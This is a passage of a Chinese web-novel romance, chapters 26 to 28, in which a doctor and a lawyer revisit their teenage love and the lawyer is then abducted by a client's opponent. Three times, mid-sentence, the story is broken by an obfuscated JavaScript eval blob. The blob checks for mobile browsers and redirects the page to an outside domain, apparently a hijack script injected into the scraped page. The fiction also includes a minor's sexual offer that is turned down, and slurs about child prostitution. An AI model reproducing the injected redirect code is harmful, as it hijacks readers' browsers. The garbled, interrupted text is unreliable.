安雅攥住领口,柔软的布料在她掌心被揉皱,“我妈跑了,我爸以为我也会和她一样跑掉。”程枫这才注意到,原来在安雅刘海遮掩下的额角,也有块淤青。 他的呼吸变得沉重,“我去拿药。”转身的瞬间,程枫却被她抓住。 “不疼。”安雅盯着他近在咫尺的眼睛,“你别走。” 程枫感受着手腕那一片潮湿,不知她瘦削的身体怎么会突然爆发出如此大的力量。他抬头看她,发现这个总是在对自己笑的人,眼里却有了点点的泪光。 “带我走吧。”安雅又说了一遍,这次的声音更轻了一点,“就今晚。” 他心下忽然明了,安雅不是来告别的,而是在向他求救。 “好。”程枫的声音太温柔,温柔的让安雅好像突然找到了一个出口,那些噙在眼眶的泪突然就毫无预兆地砸了下来,一滴一滴,落在程枫的肩上。 “别哭。”泪眼朦胧中,她看着程枫的侧脸,忽然意识到这是他们认识以来距离最近的一次,近到能闻到他身上沐浴露的味道,也能看清他脖子上那颗浅褐色的小痣。 “程枫。”她小声说,“我喜欢你。” 窗外的雨声忽然变大,一瞬间,周遭的世界都像是被按下了静音键,程枫只能听见安雅伏在他肩上的呼吸,和自己如雷般的心跳。 “别留下我一个人。”说话间,宽大的衬衣从她稚嫩的肩头适时滑落,“你想对我做什么都可以。” 她瘦小的身体因为情绪激动而燥热,程枫感觉到自己胸口被安雅的眼泪浸湿,滚烫又冰凉,直往他心里钻。他只好闭上眼睛,深吸了一口气,替她拢住滑落的衣领。 “安雅。”他的声音因为太过于用力克制,听起来异常生涩,“别这样,以后,你会后悔的。” 她抬头看他,睫毛湿漉漉的,眼里全是惊慌和茫然。 程枫抬手,指腹擦过她脸上的泪痕,动作轻得像是不忍一般。下一秒便被安雅突然反手握住,她的掌心灼热,连两颊都沾染上了些不常见的绯红,“来不及了,程枫,来不及了!” 窗外又一道闪电劈过,照亮她苍白脸颊上的汹涌泪痕,“你明天就要走了,去那么远的地方,如果什么都不做,那我现在就会后悔!” “安雅!”程枫突然提高声音,又意识到了自己的失态,讪讪低下头,“我还会回来的,我答应你,一定会回来。”他弯腰捡起那件衬衣,披在她身上。 那时安雅的脑子里已经由不得她去思考,她只想把自己全部交给程枫,任由他摆布。 不多久,宽大的衬衣外就只剩了一个脑袋,头发乱蓬蓬的。程枫终于敢看着她,四目相对的瞬间,他伸手想帮她整理,指尖刚碰到她的脸颊却又缩了回来。 “听着,安雅。”她盯着程枫的眼睛,那里隐约还有未消散的欲念。掩饰着慌乱,程枫低头为她扣好衣服,“你一定能离开这个地方,离开那些你不喜欢的人和事,但不是靠现在这样,不应该是这样。” “程枫。” “嗯?” “我等你。”她就那么接受了放弃。 与其说是选择了更遥远的希望,不如说情绪释放过后,安雅也逐渐回过神来,明白了在他们之间也只能这样。 等到程枫要送她回家的时候,两人才发现楼道里的感应灯坏了。摸黑下楼时,安雅恍惚中踩空了一阶。跌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464741|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落的刹那,她感受到程枫的手臂在腰间稳稳地接住了她。 少年的手臂自然收紧,安雅就这样被他揽入了怀里。 黑暗中呼吸急促地交织,程枫的身体灼热。 “你也喜欢我的对吧?”安雅凑上前去,程枫克制着粗重的呼吸,没有开口。 只是黑暗中有温热的触感贴上安雅的额头,有人克制着颤抖的愉悦,小心翼翼地,只在她的额角覆上了一个冰凉的吻。 他的唇很凉,像潮湿的水汽落在她发烫的皮肤上,一瞬即逝。安雅闭上眼睛,睫毛扫过他的下巴。黑暗中她听见程枫的心跳,隔着衣服布料,却异常清晰。 “别动。”他哑着声音,手臂却收得更紧了些。 雨声忽然变得很远,楼道里只剩下他们交错的呼吸声。 “程枫。”她小声叫他名字,“去了北京......” “我会回来的。”他打断她,下巴蹭过她柔软的睫毛,“你要答应我.......” 少年的誓言浩浩荡荡,安雅没有理由不去相信。 她只好抬头看他,却只看见黑暗中程枫模糊的轮廓。她想问很多问题:什么时候回来?回来待多久?如果她考不上北京的大学呢?要是他去了北京就忘了她怎么办? 还没问出口,头顶坏掉的灯却突然亮了起来。刺眼的白光里,安雅看见程枫的耳尖红得像要滴血。注意到安雅的目光,他才低头松开她的腰肢,双手一时紧张的无处可放。 看程枫手足无措,安雅更觉得多了一些踏实,“你害羞了?” 程枫一把抓住她已经攀上自己唇边的手指,“这灯怎么回事......”安雅的手被他握得很轻,怕捏疼一般。 “你刚才说要我答应你什么?”安雅由着他握着自己的手,轻声问。 程枫的声音格外清晰:“不管怎么样,都要为自己好好生活。” 安雅一怔,她以为程枫会说要自己等他,或者要考去北京之类的话。这个简单的请求反而让她鼻子一酸。 “还有,”程枫继续道,“别再受伤。” 这句话像钝刀,突然剖开安雅努力维持的平静。她低下头,额头抵在程枫肩上:“我尽量。” 程枫叹了口气,温热的气息拂过她的头顶:“我会给你打电话。” “每周都要。” “好。” “还要寄北京好吃的给我。” “嗯。” “还有.......”安雅的声音越来越小,“你要想我。” 程枫沉默了一秒,突然松开她的手。就在安雅以为他要拒绝时,温热的手掌落在她发顶。 “一定。”他说,“每天都想。” 这一次,程枫没有躲开她的目光。 “走吧。”他轻轻揽上她的肩,“我送你回家。” 走出门时,雨已经小了许多。路灯在水洼里映出细碎的光,程枫的身影被路灯拉长,安雅躲在身后踩着他的影子。 树影摇晃,仿佛一个世纪。 26. 第二十六章 安雅躺在床上,继续听着窗外的雨声敲打玻璃。恍惚间,她好像看见自己和程枫就那样摇摇晃晃地走向未知的远方。一切都算不上完美,但那已经是属于她能去相信的最好的时光。 那个夜晚,她又梦到了程枫。梦里她站在从未去过的北京,身边来往的人群嘈杂纷乱,她孤身一人呆立在一小块街角,从白天到夜幕降临,直到程枫终于穿过汹涌的人潮走向她,抱紧她...... 同样是挂了电话,程枫却一夜没睡。 恩宇受伤,安雅也在疏远自己,还有总是围在她身边的曹熙.......让天生就没有多少情绪的程枫也感受到了久违的烦躁。 他汲着拖鞋在恩宇床边的一小块地板上坐下,上下翻着手机里和安雅发过的信息,心里想着是这句话说的不对,还是那句话惹了她生气?翻来覆去,也没有答案。 其实在他们失去联系之后,程枫有试着去找过几次安雅。通过以前的同学,或是已经被安雅换掉的联系方式。只是安雅越走越远,也已经有了自己新的事业和生活,他错了一步便步步错,最后竟只能从别人的嘴里得到她的近况。 直到最近一次,和来探望亲戚的安雅父母在医院里再次碰见。还是安妈一眼就认出了他,程枫鼓足了勇气,尽量显得云淡风轻。得到的却是“她已经在香港定居了,也有了很好的对象,过几个月就准备结婚。” 命运好像一次次地在和他开玩笑。 他知道那个夏天不会再来,但安雅却回来了。 只要一看见安雅,他就什么都忘了。 程枫克制不了自己想靠近她,想照顾她。看她吃饭吃的开心,自己也觉得满足;看到她为了工作烦恼,就开始恨自己为什么帮不到她.......安雅那么珍贵,她就应该拥有这世界上最好的一切啊。 可他们之间的事,哪能用几句话就说清楚。 安雅长大了,他们也都不再是小孩子了。 只有他还放不下。 “爸爸......”恩宇发出微弱的呢喃,把程枫从纷乱的思绪里拉了回来。 “嗯,爸爸在呢。”程枫伸手想去摸摸他的头发,却发觉恩宇的额头烫的惊人。他连忙起身,看他的小脸泛着不自然的潮红,伸手一摸,额头滚烫。 程枫皱了皱眉,去厨房倒了杯温水,又翻出退烧药。“恩宇乖,张嘴.......”他又折返回床边轻声道。 恩宇迷迷糊糊地摇头,往被子里缩了缩:“不要!苦!” “这是布洛芬,橙子味的,只要一小口就好,来.......”恩宇半倚在他怀里,闭着眼睛迷迷糊糊就把程枫手里的悬混液吞了下去。 虽然是进口药,但还是没有那么快起作用。恩宇烧得难受,全身肌肉传来的酸痛让他翻来覆去睡不着。孩子养的久了,程枫也多少有了些经验,等到药效峰期可能还需要30-45分钟,现在他能做的,就是尽量减少恩宇身体上的不适。然后他就去接了盆热水回来,用湿毛巾轻轻替恩宇擦着额头、胸膛和手心以及身体各处。 “爸爸......”恩宇忽然小声开口,“安雅阿姨她明天真的会去幼儿园吗?” 程枫手上的动作顿了顿,没想到恩宇会问这个,但还是低声道:“嗯,会的。” “我今天听见她和张老师说话了,张老师好像.......很生气。”恩宇嗫喏着,眼里忽闪着恐惧,“,爸爸,我明天能不去幼儿园了吗?” “嗯......为什么呀?”已经猜到了答案,但他还是想听恩宇怎么说。 “安雅阿姨说让我不要怕,但我......还是害怕。”即使睡在床上,恩宇也把头埋得很低。 从下午开始的自责和愧疚再次涌到程枫的心口,他到底每天都在忙些什么?为什么恩宇在幼儿园里发生了这么多事,自己却一点也不知道?他将手里的毛巾拧了又拧,“明天爸爸会和安雅阿姨一起去幼儿园,找老师和小朋友们都说清楚,再也不许任何人欺负我们恩宇。” 程枫说的认真:“以前是爸爸不好。今后无论幼儿园发生什么事,你都要回来告诉我,这样有开心的事,爸爸就带你出去吃好吃的庆祝一下。要是有不开心的事,说出来就会多一个人为你分担,也就不会那么不开心了。” “爸爸和恩宇以后都不能说假话,答应吗?”程枫伸出小指悬在恩宇面前,恩宇想了想,也点了点头,伸出了自己的小指头。 “那你能跟我讲讲妈妈是什么样的吗?”恩宇眨着眼睛,“不能说假话。” 程枫一怔,毛巾停在半空。 这是恩宇第一次这么认真的问起,关于自己妈妈的事。 “你妈妈她......很年轻,也很勇敢。”程枫在脑中尽力搜索着那个模糊的形象,“她是个很好的人,所以才能生出这么好的恩宇来。” 好像感受到了他的敷衍,恩宇声音软软的:“爸爸,你是不是已经记不起来妈妈样子了?” “能!”程枫硬着头皮,“你妈妈的脸圆圆的,不是很高,但是和你一样爱笑。” 恩宇的眼睛亮晶晶的,带着单纯的好奇。程枫的回答虽然不是让他很满意,但听起来他的妈妈真的是一个不错的人,也让他放心不少。 “还有,爸爸........”恩宇还想再问下去。 程枫见状又给他的水杯里添了点热水,想打断他关于妈妈这个问题的好奇。“来,再喝点,你看你已经开始出汗了,温度应该就快降下来了。” “你是不是也喜欢安雅阿姨?”恩宇的问题来得猝不及防。 房间里突然安静下来,程枫端着水杯愣了几秒,最终轻轻“嗯”了一声。 恩宇像是得到了一个满意的答案,笑着往被窝里钻了钻,小声嘟囔着:“我也喜欢她......她可比幼儿园的老师温柔多了。” “那你们会结婚吗?像其他人的爸爸妈妈那样?”程枫被这个更直接的问题噎住了。 “快睡觉!”程枫笑着去捏他的脸,“小孩子不可以有这么多问题知道吗?”两人随即窝在床上闹成一团。 直到程枫轻拍着他的背,开始唱一首小时候从自己妈妈那里听来的歌时,恩宇才又缓慢睡着。 退烧药起了作用,恩宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464742|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的体温终于降了下来。程枫松了口气,却没有立刻离开。而是靠在床头,静静地看着他。 窗外的雨已经停了,月光透过窗帘的缝隙洒进来,在地板上投下一道细长的影子。 忙碌和紧张带来的困意上涌,让他还靠在恩宇的小床边,便迷迷糊糊地睡了过去。半梦半醒间,他好像又记起了以前的许多事。 那晚的梦冗长又焦灼,有时会他会突然回到两人刚认识,安雅每次上完体育课经过实验室的时候。她总会从窗外踮脚往里看他,虽然程枫每次都能第一时间感受到,但长久的相处已经让他们之间有了心领神会的默契,他总会等一会儿再向着窗外冲她笑。 但心里却早都乱了,拿着镊子的手摇摇晃晃,连个洋葱的表皮都剥离不出来。 有时他又像回到了高中放学的时候。安城的雨总是来得猝不及防,放学铃声刚响,雨点便砸在教室窗沿上。安雅也不说等他,但总是磨磨蹭蹭地在一楼走廊尽头盯着屋檐下的雨,只要余光瞥见自己撑开那把旧的墨色长伞,就会蹦到他伞下:“顺路一起走吗?” 他也会不动声色地把伞向安雅那边倾一倾,趁着雨水在伞面敲出密集的鼓点盖过自己的心跳声时,笑着吓唬安雅:“快进来一点,听说淋雨会长不高。” 后来,在不同的时间和不同的地方,他都会想到这个场景。或许他们本就是不同路的,是安雅选择了他。 也是他太想和安雅一起走了。 恍惚中,程枫感觉到肩膀和脖子传来一阵酸痛,他好像意识到自己在做梦,但却还想要继续在那把伞下再停一会儿。只是没多久好像梦里的两人都不再那么开心了,自己许久未见的爸爸突然回来,带了很多他没见过的东西,也带来了要全家离开安城的决定。 就算是在梦里,提到父亲时,他还是没法平静如常,“我爸他......昨天回来了。” 他迫使自己盯着安雅的脸,想记住她那一刻的表情。 安雅正咬着生菜叶的动作被他这句话按下了暂停键,连手里饭盒也放了下来,转头故作轻松地问自己:“然后呢?给你带礼物了吗?“ “带了好多国外的小零食。”他扯着嘴角,脸上的笑却落寞,“说是客户送的,让我分给同学。不过就是有些都已经过了保质期,不能拿来给你吃了。” “我爸上周倒是给我买吃的了!“安雅故意提高音量,“但钱是把我妈藏在衣柜底的首饰盒卖了换来的。”她还是笑得没心没肺,但在梦里他却都已经感受到了一阵心疼。 然后安雅在突然塞给他一团皱巴巴的糖纸后便跑远了,程枫急着想要看到那里面到底写的是什么,慌乱中不小心撕碎了金色锡箔纸的一角。 他很急,但却不知道该怎么帮帮梦里的自己。只能像个游魂一样,眼巴巴地看着那个比自己矮一点的高中生在夜里阁楼的白灯下,耐着性子一点点拼好那团可能毫无意义的废纸。 最后褪色的字赫然出现在他眼前,那上面歪歪扭扭写着:“等你考完高考,要不要和我早恋?” 像一脚踩空般,他突然被这几个字惊醒,终于流下泪来。 27. 第二十七章 可能是因为前一晚的梦,也可能是因为程枫说的话,总之第二天安雅醒的很早。 清晨窗帘缝隙透进的微光还带着夜里的蓝色,起床还太早,安雅索性盯着天花板发了会儿呆。昨晚那个混乱的梦和程枫的话无孔不入地在她脑子里搅成一团,没多久,她就感受到了太阳穴传来隐隐的疼痛。 一想到小娇的案子终于有了个结果,那些萦绕在心头的纷乱思绪也就被抛在了脑后。有时候工作的意义就在于此,有个完全可以名正言顺不被打扰的领域,和几乎不用太费心就能得到安全感的地方。 安雅心里想着,法律很好,法律最好了,它不会离开任何人,也不会逃跑。更不会在深更半夜让人翻来覆去,最后却还是搞不清楚自己应该怎么做。 正当她带着满满的元气准备奔赴自己的工作,刚一推开家门,就看见曹熙那辆醒目的白色奔驰已经停在了路边。 时间还早,虽然没有阳光的加成,但曹熙的一头金发也足够醒目。从安雅家所住的巷子里起来买早餐的大爷大妈已经对他行了好一会儿行注目礼就可以看出来,他已经成功的引起了这些人的注意。 不难猜测这原因可能是小地方老城区的街坊邻居没怎么见过豪车,也有可能是上了年纪没见过有人敢顶着一头亮黄的头发,却不是混社会的精神小伙。如果这个人还恰巧长得还算可以,自然会被多看几眼。 但曹熙却浑然不觉,还正在弯腰帮一位端着豆浆锅的大妈扶歪掉的锅盖。 “小心电线杆啊阿姨。“曹熙的声音带着笑意,抬头时恰好看到安雅走出门来。 阿姨端着早餐却眼睛一直粘在曹熙身上,这才差点酿成了清晨巷子里的第一出惨剧。曹熙知道但也不反感。甚至还能在对方差点撞在电线杆上之前进行亲切的提醒。 安雅看着眼前的场景,已经猜到接下来几天巷子里的大家的话题应该是要围绕着曹熙的,现在她只希望曹熙不要当着街坊邻居的面表现出来认识她,别把自己也拉进去就好。 然后,那个人就当着大家的面,响亮又清脆地朝着她喊了一声:“姐姐!” 面对一条巷子两侧坐着的中老年齐刷刷投来的八卦目光,安雅知道自己捂脸已经晚了,扶额还是可以的。 “早啊!”曹熙将手里的纸杯递给她,“巷口的豆浆,是刚才有个阿姨推荐我去买的。” 安雅侧过身去,接也不是,不接也不是。 “不想喝吗?”曹熙凑上来,“那你早餐想吃什么,我们一起去.......” 眼看着曹熙还准备站在那说下去,安雅连忙接过喝了一口,想尽快终结这个关于吃饭的话题。 “怎么样?“曹熙又靠近了半步,“那阿姨说这味道几十年没变过。“ “嗯。“安雅抿了一口,甜度刚好。其实她以前总会给走在身边的人抱怨这家太甜,那时候细碎又啰嗦的生活小事,她也能说很久。但今天她却奇妙地感觉到这个味道其实恰到好处,时间好像真的可以改变很多事,就连习惯在时间面前也不堪一击。那些她以为从很久以前就有的,不会变的东西,好像在某一个时刻,在她自己都没有意识到的情况下,就那么悄悄的变了。 “劳少爷费心。”安雅又喝了一口,味蕾是人体最诚实的器官,她已经逐渐习惯了这个甜度。 两人正说话,安雅身后突然传来短促的刹车声。这条巷子背街,平时清早一般是不会有什么车开进来的。她抬眼越过曹熙的肩头,不不出意外的看见了程枫那辆熟悉的黑色沃尔沃。 曹熙也顺着她的目光往身后看去,正看见程枫从车内走出。依旧是裁剪得体的正装,深灰色西装衬得肩线格外利落,没有了时常穿在最外面的白大褂,程枫看起来少了一些距离感,也感觉更容易接近了一些。 一下车,程枫的眼神就首先落在了曹熙身上。很明显,他已经先自己一步到。 程枫也不知道他和安雅已经站在这里聊了多久,但凭着自己对安雅的了解,她能愿意在一大清早就让曹熙来家门口接自己,那一定说明安雅并不讨厌曹熙,甚至可能还有有点喜欢? 想到这里,一种异样的感觉涌上心头,酸涩又光滑地在他心头转了一圈,随后便留下了一种莫名的紧迫感。程枫的目光在曹熙身上停留了一瞬,随即便看向安雅:“我来接你上班。”说完又觉得好像不够理直气壮,找补似的又加了一句,“正好路上可以聊聊幼儿园的事。” 曹熙挑眉,视线在安雅和程枫两人之间转了一圈,突然向程枫伸出手:“程主任早上好啊,我刚还在跟安律师说呢咱们真是有缘,昨晚刚见完面,现在就又见了呢。” 面对曹熙完全没有套路的出牌,程枫站在原地没有动。有了前一天晚上的斗嘴,他不想再在安雅面前和曹熙有任何的交集,也不想安雅因为曹熙对他产生什么新的不满。 毕竟昨晚安雅挂电话的时候表现的好像是在生气,至于她有没有生气,为什么生气,程枫想了一晚上也没什么结果。所以他决定要保守一点,尽量不做可能惹安雅生气的事。 “哦!我想起来了,虽然我认识程主任,但程主任还不认识我吧?”他不仅自问自答,还一惊一乍,“曹熙,目前在法援中心实习,归安律师管。” “也就是说,我和安律师共享一个办公室,她去哪我就去哪。”曹熙笑得坦然,语气却带着微妙的挑衅,“平时我们都是一起上下班,工作的时候也是在一起的。” 曹熙伸出的手又近了一步,程枫低头看着他纤细苍白的手指,感觉再不握住,他可能真的会贴到自己身上来。程枫面色一僵,不情愿地碰了下曹熙的手。但曹熙却像是故意一般,握手的力道不自觉加重,程枫感受着从掌心里传来一股独属于少年人的灼热。 “你好。”出于礼貌,他淡淡地回应了曹熙暗潮汹涌的自我介绍。 曹熙恍若未觉,继续道:“听说程主任是安律师的老朋友?” “我和安雅从小一起长大。”程枫顿了顿,“要说是老朋友的话,也可以。” “原来是这样,安律师和我天天在中心一起工作,怎么都没介绍过自己的老朋友给我认识一下?”曹熙是带着笑的,但周遭的空气却瞬间凝滞。 安雅皱眉又咽下一口豆浆:“你们两个再聊下去,上班就要迟到了。” “我要先去中心把小娇那个案子结了,大概可能需要一两个小时的样子。”她转向程枫,快速解释了自己的行程安排,又低声道:“昨天你说的事.......可能需要给我一点时间想想。” 昨天他对安雅说了太多话,该说的不该说,都说了。但安雅在这种情况下突然提起,程枫却也不知道她指的是哪个,但既然安雅说了要想想,程枫还是一贯温和地点了点头。 “不过恩宇那边我是一定要管的,等我处理完手头的工作,我们幼儿园门口见可以吗?”要先去法援中心,安雅已经说的很明白了。 她转身上了曹熙的车。 曹熙瞥了眼她看不出表情的侧脸,轻笑道:“刚才姐姐你走的时候,程主任好像看起来不太开心啊。” 安雅没有接话,窗外的梧桐树一棵接一棵地后退,像走马灯似的晃过她的眼前。后视镜里程枫的身影被越拉越小,直到最后缩成一个小黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464743|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点终于看不见。 安雅移开目光,开始翻阅手上的文件。 - 法援中心的调解室里,小娇的父母早已到场。 和上次清汤寡水的朴素着装不同,这天张太太穿了件艳丽的玫红色连衣裙,金耳环在黄黑色皮肤的衬托下显得格格不入。相比之下张建业更夸张一点,杂乱的短发被他硬是用不知道是什么造型产品抹的活像个刺猬,手指上的金戒指也极有存在感,让在场的人完全无法忽视。 “啧,这品味......”曹熙也注意到了小娇父母的变化,他凑到安雅耳边,有温热的气息从耳轮传入,“不知道的还以为来参加婚礼呢。” 当事人就站在不远处看着,这么做实在是显得不专业,安雅瞪着眼睛扫了他一眼,曹熙像调皮的孩子被抓包般,立刻噤声。 相对于安雅代理的当事人的早到,眼看着已经过了约定的时间,吴欢的父母才姗姗来迟。吴院长西装笔挺,太太拎着限量款的鳄鱼皮包,腰背挺得很直,进门时目光扫过小娇父母,眼中闪过一抹不易察觉的轻蔑。 “如果没有其它问题的话,现在就可以签字了。”和解书已经被放在了桌子中央,在听完安雅的解释之后,双方都没有提出什么异议。 叮嘱小娇的父母收好和解书后,安雅也准备收拾好自己的东西离开。一旁的吴院长正在将钢笔缓缓放入文件包中,沉稳的动作里夹杂着冷笑:“安律师,我听说你是从香港刚回来不久?” “是。” “在香港的收入应该很多吧?” “确实不少。” 吴院长意有所指地看了眼小娇父母,那对夫妇正对着和解书上的数字窃窃私语,脸上堆满笑容,“能放弃高薪做法援,很有正义感。不过......“他顿了顿,“有些事未必像表面看起来那么简单。” 不知道他说这话时什么意思,但一码归一码,安雅面不改色地合上文件夹:“案子到这就算结束了,后续有任何问题,欢迎吴院长联系我或者法援中心。” 起身时,他余光瞥见小娇父母红光满面的脸上挂着过于明显的笑容,突然心里飘过一丝意味不明的怀疑。 曹熙凑过来:“两百万就能让人高兴成这样?他们女儿可是做了七八次人工流产,差点死在手术台上的.......”“啧!”安雅抬手,正要制止他继续说,曹熙却以为安雅要打他,直接窝在墙角缩成了一团。 “不许私下讨论当事人。”看他的样子安雅觉得好笑,她都已经很久没有和人有过这种算得上幼稚的打闹了。 刚走出大门,安雅的手机便震动起来。 程枫的短信简洁明了:【恩宇又发烧了,我已经带他看完了医生。现在已经找好了可以暂时照顾他的人,但路上耽搁了不少时间,可能会晚一点到幼儿园。】 她把手机收进包里,避开曹熙跃跃欲试的目光,径直走向马路对面停着的出租车。 起初,安雅还担心短时间内会没有车进过法援中心这条街,但这次的车却打得异常顺利,幸运的就像是那辆车一直停在那里等她一样。 车门关上的瞬间,独属于出租车的皮革座椅散发出的廉价香氛味突然变得刺鼻。安雅瞥见驾驶座男人戴着鸭舌帽把自己围的密不透风,一种本能般的警惕突然从安雅的脊背爬上,逐渐弥漫到了她的全身。 “你好,去区中心实验幼儿园。” 车内很安静,门上金属锁舌落锁的声音让安雅心里一惊。 “安律师,工作辛苦啊。“沙哑的声音从前排传来。 下一秒,她便看见了吴欢狞笑着的脸。 28. 第二十八章 透过硕大的鸭舌帽,能看见吴欢眼睛在车里泛着不自然的亮光,连说话时嘴角也扭曲地扯向一边。 “怎么?几天不见,安律师认不出我来了?”他冷笑,“还是说今天你身边少了个跟班,不适应?” 安雅向来不喜欢说废话。能在合适的时间做好伪装只等她入局,看来吴欢是早有准备。那无论她说些什么都很难让吴欢轻而易举的放过,还不如静观其变。 安雅沉默着,将手指悄悄摸向车门把手,用力拉开的一瞬间,门锁强韧的回弹力让她立刻清醒。 “准备好上路了吗?”一脚油门,那辆出租车便弹射一般从路边窜了出去,在马路上一阵横冲直撞。 确定整车都已被从内锁住,同时再一次感受到吴欢美丽的精神状态后,安雅才敢确信自己现在确实已经身处于危险之中。她尽量保持着声音平稳,不紧不慢地问:“我们这是要去哪?” “哈哈!”吴欢又忍不住爆发出一阵怪笑,“你们这些体面人是不是脑子都有问题?我爸愿意掏200万买个婊子闭嘴,跟我说那是合法渠道。你他妈都被绑了,现在还问我要带你去哪?能去哪?我带你春游?” “和解协议已经签完了。”安雅忍着脾气,不想激怒吴欢,“我不知道你想干什么,但不管怎么样,你现在做的都只会让已经结束的事变得更糟......” “没有结束!”吴欢突然暴起,“我说没结束就没有!” 车子猛加速,安雅的后背被重重撞在座椅上。吴欢因为过于激动而明显颤抖着的手在打方向时显得极为混乱,在他的一通操作下,车身已经开始歪斜,安雅抓紧了侧边扶手。 “你们拿了钱就想跑?”他冷笑一声,“安律师,我爸花了两百万,你能拿多少?” “这笔钱会作为赔偿,全部打入我当事人的账户。”安雅忍着恐惧带来的颤抖,还是稳稳说完了整句话。 窗外熟悉的街景飞速后退,安雅注意到车子正往城郊方向行驶。慌乱中,她深吸了一口气,不动声色地把另一只手伸进怀中的包里,指尖刚触到手机边缘,便被吴欢突然的刹车连人带包甩了出去。 “别提那个婊子!”吴欢声音里带着诡异的兴奋,“你知道她们一家为什么愿意和解吗?两百万!那可是两百万!她从十四岁开始就跟人睡,睡过的男人没有一百也有九十,连一百万都没赚到!” “还是你厉害啊安律师,让她躺着就赚了两百万,那对老东西肯定高兴坏了吧?”提到小娇的父母,吴欢的语气透露出明显的厌恶。 安雅并不准备相信这个三番五次拦截律师的疯子,但张建业夫妇看着和解书时,因为过度兴奋而涨红的脸还是在她眼前一闪而过。 她顺着吴欢的话试探:“什么意思?” “你不知道?”吴欢有点吃惊。 “那婊子十四岁就开始跟人睡觉了,这些年她爸妈应该收了不少钱。我也是出来玩的,你说这家人怎么就偏赖上我了?”能看出来,吴欢是真的不解,“一次几百上千的,什么时候够那两老不死的给儿子买房娶媳妇?你不知道,她爸妈早就想甩掉这个赔钱货了......” 周身的空气逐渐变冷,听着吴欢的话,安雅感觉到了一股寒气从四肢蔓延到了自己的胸膛。 她心里清楚明白,这人说的话自己是不应该信,但职业本能却让她忍不住继续追问:“你和她不是男女朋友?那她为你怀孕打胎.......” “什么叫为我?”吴欢立刻打断,但随即嘴角浮又起一丝嘲弄,终于明白。 “安律师,你被骗了。”他一个急刹停在路边,转过身时,脸上狂乱的笑让安雅忍不住胃里一阵翻腾。 “哈哈哈哈哈!你被骗了!你们都被骗了!” 这时,安雅的手机突然在包里震动起来,安静的车里空气突然变紧张。 吴欢立刻收起笑意,眼泛凶光。他一把抢过包,掏出正在闪烁的手机。 安雅看见屏幕上“程枫”的名字格外醒目。 “不是你想的那个人。”吴欢的手指在挂断键上徘徊。 “什么意思?” “那天开车的叫曹熙对吧?”吴欢嘴角浮起一个恶趣味的笑,“他想睡你。” “哎你......”手机还在震动,安雅没想到吴欢突然转换话题就为了说这个! 看她一直盯着手机,吴欢突然来了兴趣,“还是说......这个程枫对你来说很重要?” 一时紧张,安雅甚至忘了眨眼。 但这些细小的动作都被吴欢尽收眼底。 突然,面前的人突然露出阴森的笑:“那不如我们一起给他个惊喜?” - 另一边,程枫看着屏幕再一次熄灭,手心里已经涌出一层薄汗。他已经在幼儿园门口等了许久,却还是不见安雅的踪影。 在他的记忆里,安雅是个极为守时的人。就算是真的有事晚来一会儿,她也一定会提前告诉对方。踌躇了一阵子,他又一次拨通了安雅的电话,几声振铃后,听筒里依然只有机械的女声告诉他暂时无人接听。 挂断电话的瞬间,黑色的手机屏幕上映出他紧蹙的眉头。 他只好一个人走进幼儿园。 正当程枫忍着心神不宁和园方交涉恩宇的事时,手机上却突然收到一条来自安雅的信息。 他几乎是立刻点开了消息,却在看清内容的瞬间僵在了原地。 【很烦,能不能别打了!】 短短几个字,像一盆冷水浇在他头上。他盯着屏幕,许久之后才被幼儿园老师的声音唤回来。 “程先生?”看他盯着手机许久沉默不语,老师还以为自己又说错了什么话。安雅盛气凌人的形象已经在她心里留下了阴影,要是程枫也一样较真起来,她这工作就真没法干了。 程枫盯着屏幕看了好久。他觉得自己是了解安雅的,就算再忙,就算是心情跌倒谷底,她也从来不会对自己不耐烦。人人都说她强势霸道,可只有自己,获得过她最原始和完整的依赖与温柔。 但他却辜负了那些...... 盘踞在心头经年未散的那种懊恼在这一刻再次缠上了程枫,他极力克制着自己不去看那条刺眼的短信。幸好耳边的聒噪又把他拉回了现实。 “您说的问题我们园方确实也有责任,您放心,我们已经认识到了错误,也绝对配合咱们家长,争取能把这件事妥善解决.......” “抱歉,我有点急事要先走。”程枫勉强扯出一个笑, 走出幼儿园的路上,他又忍不住翻出那条短信看了几遍。确实是安雅的号码,但字里行间透出的陌生却让他胸口一阵发闷。思来想去,程枫的手指停在拨号键犹豫了几秒,最终还是按了下去。听筒里传来熟悉的等待音,让他忍不住屏住呼吸,好像这样就能让电话更快接通一样。 直到“已关机”的提示音响起,程枫的心才彻底乱了起来。 